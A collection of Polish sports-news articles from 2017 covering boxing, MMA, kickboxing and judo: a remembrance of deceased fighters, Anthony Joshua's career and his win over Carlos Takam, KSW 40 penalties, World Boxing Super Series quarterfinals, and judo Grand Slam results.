Na zawsze pozostaną w naszej pamięci

Dzień Wszystkich Świętych to czas pogłębionej refleksji. Pochylamy się nad mogiłami tych, których nie ma. Wydaje się, że jeszcze niedawno z nimi rozmawialiśmy, wspólnie działaliśmy, śmialiśmy się. Zaduma nad życiem, jego kruchością i istotą. A w tym wszystkim pamięć. Bo choć ich nie ma, nadal trwają. W naszych sercach, w naszej pamięci.

W ciągu roku pożegnaliśmy wiele wybitnych postaci związanych ze sportami walki. „Byk z Bronxu” – tak nazywano Jake LaMottę, który charateryzował się niezwykłą wytrzymałością. Bokser stoczył 106 walk, wygrał 83. Na podstawie jego życiorysu Martin Scorsese nakręcił film „Wściekły Byk” z Robertem De Niro w roli głównej. Jake LaMotta zmarł 19 września 2017 roku w wieku 95 lat.

W Los Angeles sięgnął po tytuł mistrza świata kategorii piórkowej. Było to w 1963 roku. Sugar Ramos pokonał Daveya Moore'a, którego po 10. rundzie poddał jego sekundant. Kilka dni po walce pięściarz zmarł. Z kolei pochodzący z Kuby Ramos skutecznie bronił tytułu do września 1964 roku. Później walczył jeszcze o pas w wadze lekkiej, ale bezskutecznie. Zmarł mając 75 lat.

Józef Grudzień był jednym z najwybitniejszych polskich bokserów. Zdobył złoto Igrzysk Olipijskich w Tokio w 1964 roku, cztery lata później w Meksyku sięgnął po srebro. Na swoim koncie zapisał również mistrzostwo i wicemistrzostwo Europy. Sukcesy odnosił w wadze lekkiej. Józef Grudzień zmarł w wieku 78 lat.

Zaledwie 34 lata przeżył Tim Hauge. Kanadyjczyk dał się poznać kibicom jako twardy zawodnik MMA, który na swoim koncie zapisał występy w UFC. W czerwcu zaprezentował się w ringu bokserskim. Hauge zaliczył pięć nokdaunów w walce z Adamem Braidwoodem. Trafił do szpitala z obrażeniami mózgu, po kilku dniach zmarł.

Po ponad rocznej przerwie do klatki MMA wrócił Donshay White. W drugiej rundzie przerwano jego walkę z Rickym Musem.W drodze do szatni White stracił przytomność i już jej nie odzyskał. Odszedł w wieku 37 lat.

Zaledwie siedemnaście walk w MMA stoczył Dawid Żywica. Miało być więcej… W ostatniej walce zdolny fighter zaprezentował się podczas gali PLMA 70 w Warszawie, gdzie pokonał Sonica Valerianova. Półtora miesiąca później Żywica zmarł. Miał 25 lat.

Tylko 17 lat przeżył Jakub Szczęsny. Całe środowisko kickboxingu pogrążyło się w smutku. Trenował w klubie FC Knurów i z nadzieją patrzył w przyszłość. Uprawiał również, z sukcesami, taekwondo. W wieku 64 lat odszeł mistrz Europy w wadze ciężkiej z 1975 roku w boksie Andrzej Biegalski.

W naszej pamięci pozostają: Grzegorz Pieronkiewicz, Muhammad Ali, Wiesław Rudkowski, Henryk Średnicki, Józef Warchoł, Bogdan Chruścicki, Bohdan Tomaszewski, Jerzy Kulej, Zbigniew Pietrzykowski. Zrobili wiele dla sportów walki, tworzyli historię i na trwałe się w niej zapisali. Pozostaną w naszych sercach. Na zawsze.

KM

Anthony Joshua

Brytyjski bokser wagi ciężkiej urodzony 15 października 1989 roku w Watford. Mistrz olimpijski i wicemistrz świata amatorów, aktualny zawodowy mistrz świata federacji IBF, superczempion WBA i IBO. W 2011 roku, w barwach reprezentacji, podczas mistrzostw świata amatorów w Baku zdobył srebrny medal w kategorii superciężkiej (powyżej 91 kg). Na igrzyskach olimpijskich w Londynie zdobył złoty medal w kategorii powyżej 91 kg.

Zawodową karierę rozpoczął 5 października 2013 w Londynie, pokonując przez TKO w pierwszej rundzie Włocha Emanuele Leo. 22 listopada 2014 w Echo Arena w Liverpoolu, w kolejnej dziesiątej swojej walce Joshua spotkał się z rodakiem Michaelem Sprottem (42-23, 17 KO). Po serii ciosów w pierwszej rundzie Anthony'ego, arbiter Terry O'Connor przerwał walkę, ogłaszając wygraną Joshui przez TKO. 4 kwietnia 2015 w Metro Radio Arena w Newcastle znokautował w trzeciej rundzie Amerykanina Jasona Gaverna (26-20-4, 11 KO). 9 maja 2015 w Birmingham znokautował w drugiej rundzie Brazylijczyka Raphaela Zumbano Love′a (36-11-1, 29 KO). 30 maja 2015 w Londynie wygrał przez techniczny nokaut w drugiej rudzie z Amerykaninem Kevinem Johnsonem (29-7-1, 14 KO), zdobywając międzynarodowy tytuł WBC. 12 września 2015 w Londynie wygrał przez techniczny nokaut pokonując w pierwszej rundzie Szkota Gary'ego Cornisha (21-1, 12 KO). 12 grudnia 2015 w Londynie pokonał przez techniczny nokaut w siódmej rundzie Dilliana Whyte (16-1, 13 KO).

9 kwietnia 2016 w londyńskiej O2 Arena znokautował w drugiej rundzie Amerykanina Charlesa Martina (23-1-1, 21 KO), zdobywając tym samym tytuł mistrza świata federacji IBF. 25 czerwca 2016 w Londynie pokonał w pierwszej obronie tytuł mistrza świata przez nokaut w siódmej rundzie Amerykanina Dominica Breazeale'a (17-1, 15 KO). 10 grudnia 2016 w Manchesterze pokonał przez techniczny nokaut w trzeciej rundzie Amerykanina Erica Molinę (25-4, 19 KO), broniąc po raz drugi tytuł mistrza świata wagi ciężkiej federacji IBF.

29.04.2017r. doszło do oczekiwanej walki z byłym mistrzem świata WBA, IBF, WBO i IBO Ukraińcem Wołodymyrem Kłyczko. Walka odbyła się w Londynie na stadionie Wembley przy blisko 90 tys. widzach obecnych na trybunach. Obaj pięściarze według nieoficjalnych informacji mieli za walkę zainkasować minimum 15 mln. funtów, co było by największymi wypłatami w ich karierach. Przed starciem zdecydowanym faworytem bukmacherów i większości ekspertów był młodszy Joshua. Sama walka miała przebieg dramatyczny. Gdy wydawało się, że Anglik może zakończyć walkę w 5 rundzie dopadł go kryzys kondycyjny, a jego ciosy były niedokładne. Wykorzystał to bardziej doświadczony Kliczko, który nie dość, że doszedł do siebie po liczeniu to jeszcze zepchnął do obrony zmęczonego Anglika, który ledwo dotrwał do końca rundy. W 6 rundzie inicjatywę przejął Kliczko, który sensacyjnie rzucił ulubieńca publiczności na deski. Jednak Joshua podniósł się i ponownie cudem przetrwał do końca rundy. Obaj pięściarze wyglądali na skrajnie wymęczonych. W następnych rundach pojedynek się lekko uspokoił, obaj zawodnicy starali się nabrać nowych sił. W 11 rundzie do ataku ponownie ruszył Joshua trafiając potężnie Ukraińca i dwukrotnie posyłając go na deski. Po kolejnym ataku Anglika sędzia zastopował pojedynek chroniąc Ukraińca przez prawdopodobnie ciężkim nokautem. Tym samym Joshua odniósł swoje 19 zwycięstwo w karierze, obronił po raz trzeci w karierze pasa IBF i dorzucił do kolekcji brakujące tytuły WBA i IBO.

Sarnacki o krok od triumfu

Judoka Maciej Sarnacki (+100kg) wywalczył srebrny medal w zawodach Grand Slam w Abu Dhabi. Na podium stanęła również Agata Ozdoba-Błach (63kg), która była trzecia. Z kolei w Pucharze Europy kadetów w Koper biało-czerwoni zdobyli dwa medale.

Nasza młodzież zajęła siódme miejsce w klasyfikacji końcowej zawodów, zaś seniorzy w Abu Dhabi uplasowali się na czternastej pozycji.

W końcu podium

Maciej Sarnacki mógł mieć koszmary. Wszystko przez prześladujące go piąte miejsca. Zaczęło się od mistrzostw Europy w Warszawie, gdzie judoka Gwardii Olsztyn starcie o brąz przegrał z Czechem Lukasem Krpalekiem. Później był piąty w Bukareszcie i Saarbrucken. Do Abu Dhabi mógł jechać z nadziejami, ale nie spodziewał się, że będzie walczył o złoto. Dotychczas w zawodach rangi Grand Slam Sarnacki trzy razy stawał na podium, za każdym razem na jego najniższym stopniu stopniu. W stolicy Zjednoczonych Emiratów Arabskich 30-latek pokazał się z najlepszej strony. Trzy walki wygrał przed czasem i stanął do rywalizacji o złoto. Jego rywalem był doświadczony Francuz Cyrille Maret, który szybko zakończył starcie. 

Kolejny dobry występ zaliczyła Agata Ozdoba-Błach (63kg). Brązowa medalistka tegorocznych mistrzostw Europy po raz drugi w karierze zajęła trzecie miejsce w zawodach rangi Grand Slam. Ponownie w Abu Dhabi. Na drodze Polki w półfinale stanęła Lucy Renshall. Ozdoba-Błach nie potrafiła znaleźć recepty na ubiegłoroczną mistrzynię Europy U23 i zapisała na swoim koncie trzy kary shido. W starciu o brąz nasza zawodniczka pokonała młodą Emily Burt, która w Abu Dhabi odniosła największy sukces w karierze.

Tym razem smakiem musiała się obejść Anna Borowska (57kg). Polka na początek rywalizacji pokonała Soumiyę Iraoui, a potem przegrała dwie walki i zajęła siódmą lokatę. Julia Kowalczyk (57kg), Agata Perenc i Karolina Pieńkowska (52kg), Karolina Tałach (63kg), Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg) odpadli z turnieju po jednej walce.

Złota Kinga

W Koper wystartowało ośmioro Polaków, a dwie judoczki wracają w wyśmienitych nastrojach. Do góry mogła podskoczyć Kinga Wolszczak (+70kg), która zapisała na swoim koncie złoty medal. W tym roku judoczka zajmowała już trzecie miejsca w Teplicach i Fuengiroli. Nad Adriatykiem rozłożyła na łopatki dwie Włoszki.

Największy sukces w tym sezonie zanotowała Paulina Szlachta (48kg). 17-latka nie zaczęła najlepiej, bo przegrała z Włoszką Carlottą Avanzato, ale później wygrała dwie walki i zdobyła brąz.

O krok od podium była Agata Palka, która zajęła piąte miejsce. Siódma była Nikola Szlachta.

KM

LFN Camp – "Piękna i Bestia"

„Piękna i Bestia” poprowadzą kolejny obóz treningowy dla zawodniczek #LFNTeam w Łodzi! #LFNCAMP 02-05 listopada 2017r. w Łodzi.

Wielokrotna Mistrzyni Świata i Europy w kick-boxingu, pionierka polskiej kariery bokserskiej kobiet – Iwona Guzowska oraz międzynarodowy Mistrz KSW wagi ciężkiej – Marcin Różalski, poprowadzą przygotowania polskich zawodniczek do grudniowej gali Ladies Fight Night. 

Trzecia odsłona obozu sportowego dla zawodniczek jedynej w Europie żeńskiej organizacji sportów walki odbędzie się 2-5 listopada w Fight Club Łódź (ul. Drewnowska 77). Podczas czerwcowego spotkania dziewczęta miały okazję trenować pod okiem Mistrzyni Świata MMA Joanny Jędrzejczyk. Tym razem treningi poprowadzą Mistrzyni kick-boxingu Iwona Guzowska oraz Mistrz KSW Marcin Różalski. Obóz został podzielony na dwie części. Spotkanie rozpocznie Iwona Guzowska oraz poprowadzi treningi w czwartek i w piątek. Kolejne dwa dni obozu będą należały do Marcina Różalskiego. Uczestnictwo w obozie potwierdziły takie zawodniczki jak m.in. Agnieszka Niedźwiedź, Izabella Badurek, Katarzyna Sadura, Katarzyna Lubońska oraz Marta Waliczek.

Grudniowa gala Ladies Fight Night „Double Trouble”

Listopadowy obóz sportowy rozpoczyna przygotowania zawodniczek do podwójnej, grudniowej gali organizacji Ladies Fight Night zatytułowanej „Double Trouble”. To kolejny event sportowy, który zaskoczy was wszystkich. Drugie urodziny obchodzić będziemy już 15 i 16  grudnia. Rejestracja wejściówek na naszej odświeżonej stronie już od 15 listopada 2017r. Zapraszamy! Podwójne kłopoty gwarantowane!

Harmonogram obozu:

02.11.2017r. (czwartek) – trening godz. 17.00 (Iwona Guzowska)

03.11.2017r. (piątek) – trening godz. 10.00 i 17.00 (Iwona Guzowska)

04.11.2017r. (sobota) – trening godz. 10.00 i 17.00 (Marcin Różalski)

05.11.2017r. (niedziela) – trening godz. 10.00 (Marcin Różalski)

Miejsce:

Fight Club Łódź, ul. Drewnowska 77

Tradycji stało się zadość

Mistrz ponownie wygrał przed czasem. Anthony Joshua znokautował w dziesiątej rundzie Carlosa Takama i obronił pasy mistrza świata wagi ciężkiej federacji IBF, IBO i WBA.

28-letni gwiazdor kategorii królewskiej zaprezentował się w ringu po raz pierwszy od kwietniowego starcia z Władimirem Kliczko. 

Dwudziesta wygrana przed czasem

Anthony Joshua imponuje siłą i skutecznością. W Cardiff stoczył dwudziestą walkę w karierze i po raz dwudziesty wygrał przed czasem! Na Principality Stadium 28-letni czempion wagi ciężkiej miał rywalizować z Kubratem Pulewem, jednak Bułgar dwanaście dni przed walką doznał kontuzji. Jego miejsce zajął Carlos Takam, który swego czasu przegrał z Aleksandrem Powietkinem i Josephem Parkerem. W tym roku 36-letni bokser urodzony w Kamerunie pokonał m.in. Marcina Rekowskiego. Nie da się ukryć, że szanse Takama na sukces w starciu z Joshuą oceniano jako minimalne.

36-latek walczył dzielnie z faworytem. Pierwsza runda na rozpoznanie, a później w ruch poszły pięści. W drugiej odsłonie Takam zachwiał się. Joshua kontynuował drogę do zwycięstwa i w czwartej rundzie groźnie skontrował rywala. Takam miał problem z okiem, przyjął kolejne ciosy i był po raz pierwszy liczony. To zachęciło Joshuę, który ani na chwilę nie myślał, aby zwolnić. Takam stał jednak twardo na nogach i przyjmował kolejne ciosy, ale szukał również możliwości trafienia czempiona. Przewaga Brytyjczyka nie podlegała dyskusji. Takam robił wszystko, aby dotrwać do końca starcia. W dziesiątej rundzie Joshua niemiłosiernie okładał Francuza ciosami, do akcji wkroczył sędzia, który przerwał walkę. Takam nie był zadowolony z takiego obrotu sprawy, ale musiał pogodzić się z tą decyzją.

Walka zakończyła się zwycięstwem Joshuy, który po raz pierwszy obronił pas IBF, IBO i WBA. Jednak z walki nie wyszedł bez szwanku. Bokser podkreślał, że ma problemy z oddychaniem. Prawdopodobnie przez złamany nos.

Co dalej?

Warto podkreślić, że Joshua pisze nowy rozdział w historii boksu. Wygrał dwudziesty raz przez nokaut, czym poprawił wynik Mike Tysona, który triumfował dziewiętnaście razy z rzędu.

Teraz wszyscy czekają na starcie tytanów kategorii królewskiej. Mówi się, że w przyszłym roku miałoby dojść do pojedynku Joshuy z Deontayem Wilderem. Dwóch bombardierów stanęłoby do rywalizacji o ogromną stawkę. Na szali pasy WBC, WBA, IBF i IBO. Zapowiada się wydarzenie największego kalibru. Czekamy.

KM

Kary się posypały

Podczas gali KSW 40 w Dublinie było niezwykle gorąco. Nie tylko za sprawą emocji sportowych. Walka Mateusza Gamrota z Normanem Parkiem zakończyła się skandalem w postaci przepychanek i wyzwisk. Federacja KSW wyciągnęła konsekwencje.

Gamrot i Parke spotkali się po raz drugi. Walka na gali KSW 39 Colosseum w Warszawie zakończyła się pozytywnym rozstrzygnięciem dla Polaka. W Dublinie doszło do rewanżu…

Walka, której nie było

Mateusz Gamrot ponownie chciał udowodnić, że jest lepszy. Parke miał zakusy na pas mistrzowski, jednak nie potrafił skutecznie przeciwstawić się Polakowi. Przez dwie rundy mistrz wagi lekkiej obijał głowę Irlandczyka. Zawodnicy zdecydowali się na rywalizację w stójce. Parke starał się podpuścić Gamrota i często go prowokował. Pretendent pokazywał, że ciosy rywala nie robią na nim wrażenia. W pierwszej rundzie mistrz KSW trafił Irlandczyka w krocze. Kopnięcie nie było zamierzone. W końcu Parke doszedł do siebie, ale nie potrafił zagrozić Gamrotowi.

Druga runda miała bardzo podobny przebieg. Gamrot okładał rywala, a ten postawił na grę aktorską, jednak widać było, że jest coraz słabszy. Polak dopuszczał się nieczystych zagrań. Gamrot wsadził palec w oko Irlandczykowi i ten musiał się poddać oględzinom lekarza. Medyk nie pozwolił na kontynuowanie starcia. Pojedynek uznano za nierozstrzygnięty.

W oktagonie było gorąco. Zawodnicy wzajemnie się prowokowali i doszło do przepychanek. Parke zaatakował Borysa Mańkowskiego, a jeden z sekundantów Gamrota uderzyła Parke'a. Gdy emocje już opadły, do akcji postanowiła wkroczyć federacja KSW. Kary się posypały.

Kto ucierpi najbardziej?

Po „kieszeni” dostaną główni aktorzy widowiska. – Mając na uwadze fakt, że to Norman Parke, kiedy podszedł do narożnika swojego rywala, pierwszy odepchnął Borysa Mańkowskiego, za atak na narożnik przeciwnika zawodnik z Irlandii Północnej zostanie ukarany finansowo – czytamy w oświadczeniu federacji KSW. I dalej: – Za zachowanie narożnika kara finansowa nałożona została również na mistrza KSW w wadze lekkiej, Mateusza Gamrota. 

Ukarany został również Marcin Bilman, który stał w narożniku Polaka i uderzył Parke'a. – Na galach KSW nie ma miejsca na atakowanie zarówno narożnika zawodników, jak i samych fighterów, ponieważ jest to zachowanie wysoce odbiegające od sportowych standardów, które przyświecają Federacji KSW. Federacja nakłada na Marcina Bilmana zakaz wstępu do narożników oraz zaplecze na okres 9 miesięcy od dnia gali KSW 40 – napisano w oświadczeniu.

 

KM

Wszystko jasne, teraz półfinały

Ćwierćfinały turnieju World Boxing Super Series za nami. Ostatnim półfinalistą w kategorii super średniej został Jurgen Braehmer, który w Schwerinie pokonał Roba Branta.

Jesienne emocje związane z rywalizacją w WBSS zakończone. Odbyło się osiem walk w dwóch kategoriach wagowych. Kogo zobaczymy w półfinałowych starciach?

Kategoria super średnia

Jako ostatni na ring weszli Jurgen Braehmer i Rob Brant. Doświadczony Niemiec mógł zaprezentować się przed własną publicznością, bo walka odbyła się w Schwerinie, gdzie mieszka od lat. 39-letni Braehmer górował nad Brantem doświadczeniem, jednak Amerykanin jeszcze nigdy nie przegrał. Niemiec narzucił swój styl i z każdą rundą jego przewaga była coraz bardziej widoczna. Brant starał się atakować, ale nie mógł przebić się przez skuteczną obronę Niemca. Sędziowie nie mieli wątpliwości i zdecydowanie wskazali na 39-latka – 119:109, 118:110, 116:112. W półfinale Braehmer zmierzy się z Callumem Smithem, który w Liverpoolu pokonał na punkty Erika Skoglunda.

Pozostałe dwa ćwierćfinały w kategorii super średniej zakończyły się przed czasem. Chris Eubank Jr wypunktował Avni Yildirima. Turek rozpoczął aktywnie i chciał zaskoczyć rywala, ale już pod koniec pierwszej rundy był liczony. Eubank konsekwentnie robił swoje i mądrze boksował. Po serii ciosów w trzeciej rundzie Yildirim padł na deski i walka została przerwana. Z kolei George Groves w Londynie obronił pas WBA wagi super średniej. 29-letni Brytyjczyk spotkał się z niepokonanym Jamie Coxem. Groves potrzebował czterech rund, aby rozstrzygnąć walkę na swoją korzyść. Świetna kontra Brytyjczyka i prawy na korpus powalił Coxa, a sędzia wyliczył go i przerwał pojedynek. 

Kategoria junior ciężka

Kibice w Polsce ściskali kciuki za Krzysztofa Włodarczyka, który znalazł się w gronie ćwierćfinalistów World Boxing Super Series. Niestety, przygoda „Diablo” z turniejem zakończyła się. Polak miał szansę po raz trzeci zostać mistrzem świata, ale na jego drodze stanął Murat Gassijew. Starcie rozpoczęło się spokojnie, ale wraz z upływającym czasem Rosjanin podkręcił tempo. W trzeciej rundzie Gassijew najpierw wyprowadził lewy podbródkowy, a potem lewy hak na korpus i powalił Włodarczyka na deski. Polak przegrał po raz pierwszy w karierze przed czasem. O finał WBSS Gassijew powalczy z Yunierem Dorticosem. Kubańczyk pokonał Dmitrija Kudriaszowa w drugiej rundzie.

Za faworyta turnieju uchodzi Oleksandr Usyk. Mistrz świata WBO rozmontował Marco Hucka, który w żaden sposób nie potrafił zagrozić Ukraińcowi. Ten zakończył męczarnie Niemca bośniackiego pochodzenia w dziesiątej rundzie. Rywalem Usyka o wejście do finału będzie Mairis Briedis. Łotysz na punkty pokonał Mike'a Pereza.

Kiedy półfinały?

W turnieju World Boxing Super Series rywalizacja toczy się o wielkie pieniądze. Półfinały odbędą się w styczniu i lutym. Ostateczne rozstrzygnięcia powinny być znane w maju 2018 roku.

Fot. pixabay.com

KM

Dorota Godzina pożegnała się z kibicami

Ostatnia walka w karierze utytułowanej Doroty Godziny. Na gali DSF Kickboxing Challenge 11 w warszawskiej Arenie Ursynów kickboxerka związana z klubem X Fight Piaseczno pokonała Sylwię Kaliś. W walce wieczoru Dawid Kasperski wygrał z Boubakerem El Bakourim.

Przez lata Dorota Godzina zapracowała na miano gwiazdy polskiego kickboxingu. Wkład 32-latki w rozwój popularności dyscypliny nie podlega dyskusji. 

Wygrana Królowej

Dorota Godzina wygrała ostatnią walkę w karierze i ze łzami w oczach pożegnała się z kibicami. Wygrywając z Sylwią Kaliś obroniła pas mistrzowski organizacji DSF. Z dumą może patrzeć na swój dorobek. Przez 16 lat wywalczyła tytuły mistrzyni świata, zawodowej mistrzyni świata, 12 Pucharów świata, dwa amatorskie mistrzostwa Europy, a także medale mistrzostw Polski w różnych formułach. Łącznie stoczyła ponad 350 walk. Z pewnością mówimy o kobiecie, która na trwałe zapisała się w historii polskiego kickboxingu.

Nadal pojawiają się pytania, czy decyzja Doroty Godziny jest ostateczna. Zawodniczka zapewnia, że tak. – Nie zmieniłam decyzji – to moja ostatnia zawodowa walka. Pojedynek oceniam jako bardzo ciężki zarówno sportowo, bo moja młoda przeciwniczka wykazała się ogromną determinacją, jak i emocjonalnie. Cały czas z tyłu głowy krążyły mi myśli, że to już ostatni raz – wyjaśnia FighTime.pl Dorota Godzina.

Zatem nadszedł czas na podsumowania. – Myślę, że wyciągnęłam tyle ile się dało z mojej przygody z kickboxingiem. Na początku nawet nie śniłam, że znajdę się w tym miejscu, w którym jestem. Ciężko wyróżnić kilka rzeczy, które najmocniej zapadły mi w pamięci, ponieważ jest ich mnóstwo. Na pewno dobrze pamiętam, kiedy pierwszy raz pojawiłam się na treningu u Piotra Siegoczyńskiego. Wtedy jeszcze nie przypuszczałam, że to był dzień który zaważy na moim przyszłym życiu – prezentuje Godzina.

Pokonaliśmy Francję

Gala DSF w Arenie Ursynów obfitowała w wiele ciekawych walk. Jednostronny okazał się mecz Polska-Francja. Biało-czerwoni rozłożyli Trójkolorowych na łopatki i wygrali pewnie 5:0. Maksymilian Bratkowicz (86kg) w pierwszej rundzie pokonał Henriego Floriana, równie szybko z rywalem przy pomocy latającego kolana uporał się Michał Turyński (+95kg). Łukasz Wichowski (81kg), w pojedynku na zasadach full contact, w drugiej rundzie znokautował Ibrahima Fettara. Decyzją sędziów walki wygrali Marcin Mazurkiewicz (75kg) i Tomasz Klimiuk (+95kg). Ten drugi niejednogłośnie.

W Arenie Ursynów debiut w organizacji DSF zaliczył Dawid Kasperski (86kg). Złoty medalista World Games we Wrocławiu pokonał pewnie Boubakera El Bakouriego. Sędziowie nie mieli żadnych wątpliwości, co do swojej decyzji i wskazali jednogłośnie na Polaka.

Fot. Dorota Godzina Facebook

KM

Dziewięcioro Polaków powalczy w Abu Dhabi

Jeden z ostatnich akordów tegorocznej rywalizacji judoków. W dniach 26-28 października odbędzie się turniej Grand Slam w Abu Dhabi. Na tatami zobaczymy dziewięcioro reprezentantów Polski.

W turnieju zaprezentuje się blisko 280 judoków z 47 krajów, a więc należy spodziewać się zaciętej rywalizacji o medale. 

Iść za ciosem

W Abu Dhabi zobaczymy zachwycającą blaskiem Agatę Ozdobę-Błach (63kg). Ostatnie tygodnie są wyjątkowe w życiu judoczki, która ma same powody do radości. W sierpniu wywalczyła brązowy medal mistrzostw świata w Budapeszcie, a we wrześniu wzięła ślub. Największy sukces w karierze sportowej, a także najważniejsza życiowa decyzja – czy może być lepsze połączenie? Na płaszczyźnie sportowej Ozdoba-Blach nie powiedziała jeszcze ostatniego słowa. Mierzy w medal Igrzysk Olimpijskich Tokio 2020. 29-letnia zawodniczka ma już na swoim koncie medale mistrzostw świata i Europy w zmaganiach indywidualnych i drużynowych. Brakuje jej sukcesu, na który sportowcy ciężko pracują przez cztery lata.

Ozdoba-Błach rozpoczyna drogę do Tokio. Swoją dyspozycję Polka sprawdzi w Abu Dhabi, gdzie rok temu zajęła siódme miejsce. Z kolei trzy lata temu w stolicy Zjednoczonych Emiratów Arabskich była trzecia. Do tegorocznego turnieju przygotowywała się przez ostatnie tygodnie w Zakopane. W tym roku 29-latka wygrała zawody w Mińsku i była trzecia w Pradze. Czy na fali dobrych wyników ponownie wskoczy na podium? Przekonamy się o tym w piątek (27 października), kiedy to Agata Ozdoba-Błach pojawi się na tatami.

W gazie jest również Anna Borowska (57kg), która na początku października wygrała Grand Prix w Taszkiencie. Dla Polki był to trzeci triumf w tym roku. Ponadto, z Taszkientu w dobrym nastroju wróciła Agata Perenc (52kg), która zdobyła srebro. O krok od medalu była Karolina Pieńkowska (52kg). Wszystkie trzy zaprezentują się również w Abu Dhabi.

W turnieju Grand Slam zobaczymy również: Julię Kowalczyk (57kg), Karolinę Tałach (63kg), Damiana Szwarnowieckiego (81kg), Piotra Kuczerę (90kg) i Macieja Sarnackiego (+100kg). 

Puchar Polski w Warszawie

Emocje zaczną się w Abu Dhabi, a skończą się w Warszawie. 29 października w hali przy ul. Klimatycznej 1 odbędzie się rywalizacja w Pucharze Polski seniorów i seniorek. Otwarcie imprezy o 12.00, pierwsze walki kwadrans później.

KM

Pas wróci do „Kornika”?

Opadają emocje po gali KSW w Dublinie. Wiadomo już, że 23 grudnia w katowickim Spodku odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. Artur Sowiński postara się odzyskać pas wagi piórkowej, którego posiadaczem jest Kleber Koike Erbst.

Kibice MMA dostaną prezent pod choinkę. Wszyscy liczą, że gala w Katowicach będzie wspaniałym podsumowaniem roku. W ostatnim czasie KSW przełamywała kolejne bariery: PGE Narodowy, wizyta w Dublinie i głośne nazwiska na pokładzie organizacji.

Gorący Dublin

Nie sposób nie wspomnieć o gali w Dublinie. Tak naprawdę jest wiele powodów ku temu, ale chyba ten najważniejszy dotyczy Michała Materli. Wszyscy byli ciekawi jak zaprezentuje się były mistrz wagi średniej, który ma za sobą trudny czas. Materla otrzymał ogromne wsparcie publiczności i w drugiej rundzie znokautował Paulo Thiago. Na gwiazdę kobiecego MMA wyrasta Ariane Lipski. 23-letnia Brazylijka stoczyła trzecią walkę w KSW i ponownie wygrała przed czasem. Mistrzyni wagi muszej już w pierwszej rundzie zmusiła do poddania Marianę Morais. 

Czy czeka nas kolejna odsłona sagi Gamrot vs Parke? Panowie spotkali się dwa razy. W maju w Warszawie Polak wygrał jednogłośną decyzją sędziów, a starcie w Dublinie zostało uznanie za… nieodbyte. Walka mogła się podobać, ale w drugiej rundzie Gamrot wsadził palec w oko rywala. Lekarze nie dopuścił Irlandczyka do dalszej rywalizacji. Po decyzji o zakończeniu starcia doszło do przepychanki w narożniku mistrza wagi lekkiej, w której uczestniczył Parke. 

Warto również wspomnieć o dwunastym zwycięstwie w karierze 40-letniego Mariusza Pudzianowskiego. Były strongman decyzją sędziów pokonał Jaya Silvę.

Czas na Katowice 

Czy wysoka temperatura musi towarzyszyć tylko galom na Wembley czy PGE Narodowym? Wcale nie. Wiadomo, że skala wydarzenia może robić różnicę. Jednak w Katowicach zapowiada się równie ciekawa gala. Z pewnością dla wielu niezwykle interesujący będzie debiut w KSW aktora Tomasza Oświecińskiego. Wiadomo, że jego walka z Popkiem Monsterem ma być magnesem dla widzów. Poziom sportowy? Jedna wielka niewiadoma.

Na pewno emocje będą w starciu Artura Sowińskiego i Klebera Koike Ebrsta. Obaj są niezwykle efektownie walczącymi zawodnikami, którzy nawet na chwilę nie odpuszczają. Sowiński i Erbst mieli okazję rywalizować na gali KSW 33 w Krakowie. Wtedy decyzją sędziów wygrał Polak, który obronił pas mistrza wagi piórkowej. Obecnie są w zupełnie innych miejscach. W międzyczasie Sowiński stracił tytuł na rzecz Marcina Wrzoska, któremu później pas odebrał Erbst. Japończyk urósł do miana gwiazdy KSW. 28-latek jest niepokonany od czterech walk, wygrywał również na galach Pancrase oraz Rebel FC 4.

Jednym z głównych aktorów KSW 41 w Katowicach ma być Borys Mańkowski, który po raz czwarty będzie bronił tytuły wagi półśredniej.

Fot. konfrontacja.com

KM

Włodarczyk po pas mistrza świata

Krzysztof „Diablo” Włodarczyk był czempionem WBC oraz IBF w kategorii junior ciężkiej. Polski pięściarz ponownie ma szansę wywalczyć pas tej drugiej organizacji. W sobotę w hali Prudential Center w Newark zmierzy się z niepokonanym Muratem Gassijewem.

Warto wspomnieć, że będzie to ćwierćfinałowe starcie w ramach turnieju World Boxing Super Series. Zwycięzca w kolejnej rundzie spotka się z Yunierem Dorticosem.

Ostatnia szansa Włodarczyka

„Diablo” zrobił wiele dla polskiego boksu. Pierwszy tytuł mistrza świata wywalczył blisko 11 lat temu na warszawskim Torwarze. Włodarczyk pokonał Steve'a Cunninghama, ale w rewanżu musiał uznać wyższość Amerykanina. W 2010 roku „Diablo” mógł wznieść w górę pas mistrzowski WBC, gdy w łódzkiej Atlas Arenie wygrał przed czasem z Giacobbe Fragomenim. Kolejni rywale padali jego łupem, a Włodarczyk stał się pierwszoplanową postacią polskiego boksu. W 2013 roku Polaka zatrzymał Grigorij Drozd. Miało dojść do rewanżu, ale walka się nie odbyła. Podkreślano, że problemem Włodarczyka jest głowa. Na kolejną walkę „Diablo” trzeba było czekać półtora roku.

Włodarczyk ma 36 lat i to ostatnia chwila, aby mógł coś jeszcze ugrać w zawodowym boksie. W Newark stanie naprzeciw mocnego Rosjanina Gassijewa. 24-latek wygrał wszystkie 24 walki w karierze, a w grudniu 2016 roku pokonał Denisa Lebiediewa i sięgnął po pas IBF. Gassijew trenuje w Stanach Zjednoczonych pod okiem Abela Sancheza. Z pewnością Rosjanin jest mocny, ale posiada również wady. Zadaje mocne ciosy, jednak popełnia błędy w ataku. W oczach bukmacherów zdecydowanym faworytem jest 24-letni mistrz świata. 

Atutem Włodarczyka będzie doświadczenie. To Polak ma za sobą bagaż ringowych wzlotów i upadków, który może wykorzystać i ukłuć w decydującym momencie. Kluczowe będzie, czy Polak udźwignie psychicznie ciężar starcia. Doświadczenie stanowi ogromną wartość, ale energia Rosjanina może wyczerpać Włodarczyka. „Diablo” musi rozsądnie gospodarować siłami i szukać lewego prostego.

Na sali pojawią się również ogromne pieniądze. Za awans do półfinału WBSS zwycięzca dostanie 400 tysięcy dolarów. Ponad 1 milion dolarów czeka na Włodarczyka w przypadku pokonania Gassijewa.

Polski wieczór

Sobotnia noc w Newark może być polska. W Prudential Center 26 walkę w karierze stoczy Maciej Sulęcki, który zmierzy się z Jackiem Culcay'em. Polaka występującego w wadze junior średniej czeka trudne zadanie, bo Niemiec to były mistrz organizacji WBA. Pas stracił w tym roku. Pogromcą Culcaya okazał się Demetrius Andrade. Z kolei Sulęcki ostatnie siedem walk wygrał przed czasem.

